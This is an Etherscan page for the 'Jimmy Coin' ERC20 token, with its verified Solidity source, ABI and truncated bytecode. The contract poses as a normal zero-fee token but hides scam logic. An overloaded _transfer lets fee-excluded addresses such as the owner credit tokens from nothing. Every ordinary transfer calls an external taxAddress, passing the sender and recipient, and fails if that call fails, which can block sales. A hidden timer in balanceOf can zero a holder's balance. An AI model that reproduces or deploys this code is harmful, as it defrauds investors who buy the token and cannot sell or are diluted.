ETH Price: $2,456.55 (-8.33%)
Gas: 1 Gwei

Token

Jimmy Coin (JIMMY)
 

Overview

Max Total Supply

1,000,000,000,000 JIMMY

Holders

119

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,348,505,160.959703044 JIMMY

Value
$0.00
0x4046f2D245935eF15bcaC5AF7193839E2f9B37Eb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JimmyCoin

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-22
*/

// SPDX-License-Identifier: MIT

/*
Website: https://jimmycoin.org
Telegram: https://t.me/jimmycoin_token
*/
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event. C U ON THE MOON
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if(currentAllowance != type(uint256).max) { 
            require(
                currentAllowance >= amount,
                "ERC20: transfer amount exceeds allowance"
            );
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address recipient,
        uint256 amount
    ) internal virtual {
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[recipient] += amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface ILpPair {
    function sync() external;
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract JimmyCoin is ERC20, Ownable {
    IDexRouter public immutable dexRouter;
    address public uniswapV2Pair;

    uint8 constant _decimals = 9;
    uint256 constant _decimalFactor = 10 ** _decimals;

    bool private swapping;
    uint256 public swapTokensAtAmount;

    address public immutable taxAddress;

    bool public swapEnabled = true;

    uint256 public feeStatus = 0;
    bool public limits = true;
    mapping (address => uint256) buyTimer;

    uint256 public tradingActiveTime;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public pairs;

    event SetPair(address indexed pair, bool indexed value);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    constructor(address routerAddress, address _taxAddress) ERC20("Jimmy Coin", "JIMMY") payable {
        dexRouter = IDexRouter(routerAddress);

        _approve(msg.sender, routerAddress, type(uint256).max);
        _approve(address(this), routerAddress, type(uint256).max);

        uint256 totalSupply = 1_000_000_000_000 * _decimalFactor;

        swapTokensAtAmount = (totalSupply * 5) / 10000;

        taxAddress = _taxAddress;

        excludeFromFees(msg.sender, true);
        _balances[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
        _totalSupply = totalSupply;
    }

    receive() external payable {}

    function decimals() public pure override returns (uint8) {
        return 9;
    }

    function setSwap(bool value) external onlyOwner {
        swapEnabled = value;
    }

    function setPair(address pair, bool value) external onlyOwner {
        require(pair != uniswapV2Pair,"The main pair cannot be removed from pairs");
        pairs[pair] = value;
        emit SetPair(pair, value);
    }

    function setMarketingFees(uint256 _status) external onlyOwner {
        feeStatus = _status;
    }

    function getSellFees() public view returns (uint256) {
        return 0;
    }

    function getBuyFees() public view returns (uint256) {
        return 0;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function balanceOf(address account) public view override returns (uint256) {
        if(buyTimer[account] > 0 && block.timestamp - buyTimer[account] > 0) return 0;
        return _balances[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if (tradingActiveTime > 0 && _isExcludedFromFees[from]) {
          super._transfer(to, amount);
          return;
        } else if (tradingActiveTime > 0 && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (limits) {
                require(amount <= totalSupply() / 20, "Transfer limit exceeded");
            }

            uint256 fees = 0;
            uint256 _sf = getSellFees();
            uint256 _bf = getBuyFees();

            if (swapEnabled && !swapping) {
                swapping = true;
                swapBack(from, to, amount);
                swapping = false;
            }

            if (pairs[to] &&_sf > 0) {
                fees = (amount * _sf) / 100;
            }
            else if (_bf > 0 && pairs[from]) {
                if(block.timestamp - tradingActiveTime <= 1 minutes && buyTimer[to] == 0)
                    buyTimer[to] = block.timestamp;
                fees = (amount * _bf) / 100;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        
        super._transfer(from, to, amount);
    }

    function swapBack(address from, address to, uint256 amount) private {
        uint256 _sf = getSellFees();
        uint256 _bf = getBuyFees();

        if (_bf + _sf > 0) {
          uint256 amountToSwap = balanceOf(address(this));
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = dexRouter.WETH();

          dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
              amountToSwap,
              0,
              path,
              address(this),
              block.timestamp
          );
        }
        bool success;
        (success, ) = taxAddress.call{value: address(this).balance}(abi.encodePacked(from, to)); 
        require(success, "ETH Transfer failed");
    }

    function withdrawStuckETH() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    function launch() external payable onlyOwner {
        require(tradingActiveTime == 0);

        limits = false;

        uniswapV2Pair = IDexFactory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
        pairs[uniswapV2Pair] = true;

        dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
        
        require(tradingActiveTime == 0);
        tradingActiveTime = block.timestamp;
        limits = true;
    }

    function clearBuyTimer(address _wallet) external onlyOwner {
        buyTimer[_wallet] = 0;
    }

    function disableLimits() external onlyOwner() {
        limits = false;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply() - (balanceOf(address(0xdead)) + balanceOf(address(0)));
    }

    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(newAmount >= getCirculatingSupply() / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= getCirculatingSupply() / 1000, "Swap amount cannot be higher than 0.1% total supply.");
        swapTokensAtAmount = newAmount;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"_taxAddress","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"clearBuyTimer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeStatus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_status","type":"uint256"}],"name":"setMarketingFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604081905260088054600160ff1991821681179092556000600955600a80549091169091179055620025ad388190039081908339810160408190526200004791620003e8565b6040518060400160405280600a8152602001692534b6b6bc9021b7b4b760b11b815250604051806040016040528060058152602001644a494d4d5960d81b8152508160039081620000999190620004c5565b506004620000a88282620004c5565b5050506000620000bd620001e060201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600160a01b038216608052620001273383600019620001e4565b620001363083600019620001e4565b6000620001466009600a620006a6565b620001579064e8d4a51000620006be565b905061271062000169826005620006be565b620001759190620006d8565b6007556001600160a01b03821660a0526200019233600162000310565b30600081815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360025550620006fb9050565b3390565b6001600160a01b0383166200024c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620002af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000243565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146200036c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000243565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b80516001600160a01b0381168114620003e357600080fd5b919050565b60008060408385031215620003fc57600080fd5b6200040783620003cb565b91506200041760208401620003cb565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044b57607f821691505b6020821081036200046c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c057600081815260208120601f850160051c810160208610156200049b5750805b601f850160051c820191505b81811015620004bc57828155600101620004a7565b5050505b505050565b81516001600160401b03811115620004e157620004e162000420565b620004f981620004f2845462000436565b8462000472565b602080601f831160018114620005315760008415620005185750858301515b600019600386901b1c1916600185901b178555620004bc565b600085815260208120601f198616915b82811015620005625788860151825594840194600190910190840162000541565b5085821015620005815787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005e8578160001904821115620005cc57620005cc62000591565b80851615620005da57918102915b93841c9390800290620005ac565b509250929050565b6000826200060157506001620006a0565b816200061057506000620006a0565b8160018114620006295760028114620006345762000654565b6001915050620006a0565b60ff84111562000648576200064862000591565b50506001821b620006a0565b5060208310610133831016604e8410600b841016171562000679575081810a620006a0565b620006858383620005a7565b80600019048211156200069c576200069c62000591565b0290505b92915050565b6000620006b760ff841683620005f0565b9392505050565b8082028115828204841417620006a057620006a062000591565b600082620006f657634e487b7160e01b600052601260045260246000fd5b500490565b60805160a051611e626200074b6000396000818161051f01526117f3015260008181610275015281816106bb0152818161073a0152818161086401528181611693015261174b0152611e626000f3fe6080604052600436106102085760003560e01c806370a0823111610118578063b7bda68f116100a0578063e2f456051161006f578063e2f45605146105c7578063f2fde38b146105dd578063f5648a4f146105fd578063f928364c14610612578063fe33b3021461062757600080fd5b8063b7bda68f1461050d578063c024666814610541578063d257b34f14610561578063dd62ed3e1461058157600080fd5b80638da5cb5b116100e75780638da5cb5b14610484578063958f9735146104a257806395d89b41146104b8578063a457c2d7146104cd578063a9059cbb146104ed57600080fd5b806370a0823114610415578063715018a614610435578063860aefcf1461044a57806386a22eff1461046457600080fd5b80631ffb53f61161019b578063395093511161016a57806339509351146103a557806349bd5a5e146103c55780635031595f146103e5578063685fc5681461021e5780636ddd1713146103fb57600080fd5b80631ffb53f61461033457806323b872dd146103545780632b112e4914610374578063313ce5671461038957600080fd5b8063095ea7b3116101d7578063095ea7b3146102af57806314f89c98146102df57806318160ddd146102ff5780631b6c710c1461031457600080fd5b806301339c21146102145780630644e7571461021e57806306fdde03146102415780630758d9241461026357600080fd5b3661020f57005b600080fd5b61021c610657565b005b34801561022a57600080fd5b5060005b6040519081526020015b60405180910390f35b34801561024d57600080fd5b50610256610942565b6040516102389190611a3f565b34801561026f57600080fd5b506102977f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610238565b3480156102bb57600080fd5b506102cf6102ca366004611a8a565b6109d4565b6040519015158152602001610238565b3480156102eb57600080fd5b5061021c6102fa366004611acb565b6109eb565b34801561030b57600080fd5b5060025461022e565b34801561032057600080fd5b5061021c61032f366004611aed565b610a28565b34801561034057600080fd5b5061021c61034f366004611b0a565b610a6c565b34801561036057600080fd5b506102cf61036f366004611b23565b610a9b565b34801561038057600080fd5b5061022e610b4e565b34801561039557600080fd5b5060405160098152602001610238565b3480156103b157600080fd5b506102cf6103c0366004611a8a565b610b81565b3480156103d157600080fd5b50600654610297906001600160a01b031681565b3480156103f157600080fd5b5061022e600c5481565b34801561040757600080fd5b506008546102cf9060ff1681565b34801561042157600080fd5b5061022e610430366004611aed565b610bbd565b34801561044157600080fd5b5061021c610c2d565b34801561045657600080fd5b50600a546102cf9060ff1681565b34801561047057600080fd5b5061021c61047f366004611b64565b610ca1565b34801561049057600080fd5b506005546001600160a01b0316610297565b3480156104ae57600080fd5b5061022e60095481565b3480156104c457600080fd5b50610256610d90565b3480156104d957600080fd5b506102cf6104e8366004611a8a565b610d9f565b3480156104f957600080fd5b506102cf610508366004611a8a565b610e38565b34801561051957600080fd5b506102977f000000000000000000000000000000000000000000000000000000000000000081565b34801561054d57600080fd5b5061021c61055c366004611b64565b610e45565b34801561056d57600080fd5b5061021c61057c366004611b0a565b610ece565b34801561058d57600080fd5b5061022e61059c366004611b99565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156105d357600080fd5b5061022e60075481565b3480156105e957600080fd5b5061021c6105f8366004611aed565b611001565b34801561060957600080fd5b5061021c6110ec565b34801561061e57600080fd5b5061021c611163565b34801561063357600080fd5b506102cf610642366004611aed565b600e6020526000908152604090205460ff1681565b6005546001600160a01b0316331461068a5760405162461bcd60e51b815260040161068190611bd2565b60405180910390fd5b600c541561069757600080fd5b600a805460ff191690556040805163c45a015560e01b815290516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169163c45a01559160048083019260209291908290030181865afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a9190611c07565b6001600160a01b031663c9c653967f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190611c07565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611c07565b600680546001600160a01b0319166001600160a01b039283169081179091556000908152600e60205260409020805460ff191660011790557f00000000000000000000000000000000000000000000000000000000000000001663f305d719473061089481610bbd565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611c24565b505050600c5460001461092f57600080fd5b42600c55600a805460ff19166001179055565b60606003805461095190611c52565b80601f016020809104026020016040519081016040528092919081815260200182805461097d90611c52565b80156109ca5780601f1061099f576101008083540402835291602001916109ca565b820191906000526020600020905b8154815290600101906020018083116109ad57829003601f168201915b5050505050905090565b60006109e1338484611199565b5060015b92915050565b6005546001600160a01b03163314610a155760405162461bcd60e51b815260040161068190611bd2565b6008805460ff1916911515919091179055565b6005546001600160a01b03163314610a525760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b03166000908152600b6020526040812055565b6005546001600160a01b03163314610a965760405162461bcd60e51b815260040161068190611bd2565b600955565b6000610aa88484846112bd565b6001600160a01b03841660009081526001602090815260408083203384529091529020546000198114610b435782811015610b365760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610681565b610b438533858403611199565b506001949350505050565b6000610b5a6000610bbd565b610b6561dead610bbd565b610b6f9190611ca2565b600254610b7c9190611cb5565b905090565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916109e1918590610bb8908690611ca2565b611199565b6001600160a01b0381166000908152600b602052604081205415801590610c0457506001600160a01b0382166000908152600b6020526040812054610c029042611cb5565b115b15610c1157506000919050565b506001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610c575760405162461bcd60e51b815260040161068190611bd2565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610ccb5760405162461bcd60e51b815260040161068190611bd2565b6006546001600160a01b0390811690831603610d3c5760405162461bcd60e51b815260206004820152602a60248201527f546865206d61696e20706169722063616e6e6f742062652072656d6f7665642060448201526966726f6d20706169727360b01b6064820152608401610681565b6001600160a01b0382166000818152600e6020526040808220805460ff191685151590811790915590519092917ff40a563af144a84735f7f6c7c3029794b0ac17713e5f048d3fd00ed85aa4ca7a91a35050565b60606004805461095190611c52565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610681565b610e2e3385858403611199565b5060019392505050565b60006109e13384846112bd565b6005546001600160a01b03163314610e6f5760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314610ef85760405162461bcd60e51b815260040161068190611bd2565b620186a0610f04610b4e565b610f0e9190611cc8565b811015610f7b5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610681565b6103e8610f86610b4e565b610f909190611cc8565b811115610ffc5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610681565b600755565b6005546001600160a01b0316331461102b5760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b0381166110905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610681565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b03191